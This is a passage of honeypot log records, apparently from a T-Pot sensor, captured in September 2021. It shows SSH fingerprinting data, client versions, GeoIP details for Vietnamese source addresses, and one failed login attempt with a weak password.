22771	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:27.148539+03	2021-09-20 14:15:06.641502+03	{"_id": "WwbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7400, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.148539", "@timestamp": "2021-09-20T11:07:27.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22772	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:27.594858+03	2021-09-20 14:15:06.642471+03	{"_id": "XAbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47092, "timestamp": "2021-09-20T11:07:27.594858", "@timestamp": "2021-09-20T11:07:27.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22773	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:27.660858+03	2021-09-20 14:15:06.644501+03	{"_id": "XQbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45542, "timestamp": "2021-09-20T11:07:27.660858", "@timestamp": "2021-09-20T11:07:27.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22774	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:27.683061+03	2021-09-20 14:15:06.645501+03	{"_id": "XgbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47826, "timestamp": "2021-09-20T11:07:27.683061", "@timestamp": "2021-09-20T11:07:27.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22775	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:27.934237+03	2021-09-20 14:15:06.6465+03	{"_id": "XwbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45542, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.934237", "@timestamp": "2021-09-20T11:07:27.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22776	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:27.291915+03	2021-09-20 14:15:06.648471+03	{"_id": "YAbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [info/123456] failed", "session": "3830633aea8a", "@version": "1", "password": "123456", "username": "info", "timestamp": "2021-09-20T11:07:27.291915Z", "@timestamp": "2021-09-20T11:07:27.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22777	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:27.570326+03	2021-09-20 14:15:06.649472+03	{"_id": "YQbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "46d0f8feaeba", "@version": "1", "timestamp": "2021-09-20T11:07:27.570326Z", "@timestamp": "2021-09-20T11:07:27.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22778	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:27.680785+03	2021-09-20 14:15:06.650472+03	{"_id": "YgbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0260ebc84661", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:27.680785Z", "@timestamp": "2021-09-20T11:07:27.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22780	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:27.960226+03	2021-09-20 14:15:06.653471+03	{"_id": "ZAbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0260ebc84661", "@version": "1", "timestamp": "2021-09-20T11:07:27.960226Z", "@timestamp": "2021-09-20T11:07:27.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-